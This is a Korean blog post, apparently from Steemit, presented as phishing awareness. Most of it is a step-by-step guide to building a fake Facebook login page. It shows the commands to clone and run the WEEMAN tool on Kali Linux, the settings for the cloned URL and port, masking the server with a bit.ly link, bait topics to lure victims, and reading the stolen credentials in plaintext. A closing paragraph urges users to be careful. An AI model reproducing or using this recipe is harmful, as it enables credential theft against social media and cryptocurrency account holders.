1. SNS 공격1위 “피싱” 스팀잇은 안전할까? - 가짜 페이스북 만들기! (Crate fake facebook login page)

안녕하세요!

@secure-kor의 본격적인 첫 글이네요. _{(어깨에 힘빼고)}

가볍게 읽을 수 있는 주제가 뭐가 있을까~? 하다가 정한 오늘의 주제는 바로!!

피싱입니다. 낚시죠 낚시.. 여러분들을 낚...

엥?ㅋ 그거 나는 안 당하는뎅 바보들만 당하는거 아닌감?

그래서! 실제 피싱 사례들을 보고 직접 모의상황을 구성해보겠습니다.

출발~!

사실 피싱은 전통있는 공격입니다. 우표를 붙여 편지를 보내던 시절부터
2018년 블록체인시대까지 꾸준히 이어지는 공격이니까요.



"카스퍼스키랩(Kaspersky Lab)의 ‘2018년 1분기 스팸·피싱 보고서’에 따르면, 총 370만 건의 소셜 네트워크 서비스(SNS) 피싱 시도 가운데 60%가 가짜 페이스북 페이지였던 것으로 나타났다."
라고 보고서를 냈습니다. 카스퍼스키회사에서 수집한 정보만 370만건이니.. 엄청 핫 하죠!?


1. 서버역할을 해줄 가상머신에 kali linux를 준비합니다.


2. 사이트 복제를 위한 도구로 WEEMAN을 사용합니다.
   github에 누구에게나 공개되어있습니다.   [https://github.com/samyoyo/weeman]

   우리가 이용하는 스팀, 스팀잇도 깃허브에 오픈소스로 공개되어있습니다.
   비트코인과같은 다른 블록체인 암호화폐들도 마찬가지입니다.
   ^{[스팀](https://github.com/steemit/steem)   [비트코인](https://github.com/bitcoin/bitcoin)}

3. 커맨드라인에서 아래와 같이 입력합니다.

  root@kali:~# git clone https://github.com/samyoyo/weeman
  'weeman'에 복제합니다...
  remote: Counting objects: 61, done.
  remote: Total 61 (delta 0), reused 0 (delta 0), pack-reused 61
  오브젝트 묶음 푸는 중: 100% (61/61), 완료.
  root@kali:~# cd /root/weeman/
  root@kali:~/weeman# ./weeman.py  

4. 데몬이 실행되면 아래와 같이 설정하고 데몬을 실행합니다.

    (weeman ) : set url https://www.facebook.com/login #복제할 페이지 주소값
    (weeman ) : set action_url https://www.facebook.com/ #로그인 후 Redirect할 주소값
    (weeman ) : set port 80 #피싱서버포트
    (weeman ) : show #현재 설정된 값을들 보여줌
    -----------------------------------------
    url        : https://www.facebook.com/login 
    port       : 80 
    action_url : https://www.facebook.com/ 
    user_agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
                                   Chrome/41.0.2227.0 Safari/537.36 
    -----------------------------------------
   (weeman ) : run #데몬 시작(사이트 복제 및 서버가동)

5. 서버의 내부주소(192.168.139.128)로 접속해서 가짜 사이트가 만들어졌는지 확인합니다.
   https://bitly.com/ 에 접속하여 숫자로 된 주소를 영문으로 매핑합니다. 6. 주소단축 서비스를 이용해 원래 주소를 숨기는 작업입니다.
Xttps://bit.ly/1F0td18(=192.168.139.128) 주소로 접속하면 가짜 페이지로 이동합니다.

7. 흥미를 이끌만한 게시글을 올려서 가짜사이트로 접속을 유도하는 과정이 필요합니다!

이벤트, 무료증정, 음란물, 각종사회이슈(북한,연예인 등), 공짜, 노출, 제품리뷰, 기프티콘

8. 이렇게 무심결에 로그인하게 되면 계정정보가 유출되는 상황입니다.

9. 공격자 서버에 저장된 평문을 볼 수 있습니다.
  가짜 페이스북 페이지를 클론하는데 걸리는 시간은 1분도 안걸리는 걸 알 수 있습니다.

---

자 이렇게 첫 포스팅이 끝났습니다.
내용은 세상 짧은데 올리는데는 한참걸렸네요. 적응안되는 스팀잇...

피싱은 기술적인 공격이라기 보다는 이용자들의 부주의를 유도하는 공격이기 떄문에

사용자들의 주의가 최우선의 방어입니다!

고래 -> 주소에 참여하면 보팅이벤트 -> 무심결에 스팀잇 로그인 -> 프라이빗키 유출

가능성 있는 시나리오 입니다! 모두모두 조심합니다.

또 만나요 안녕~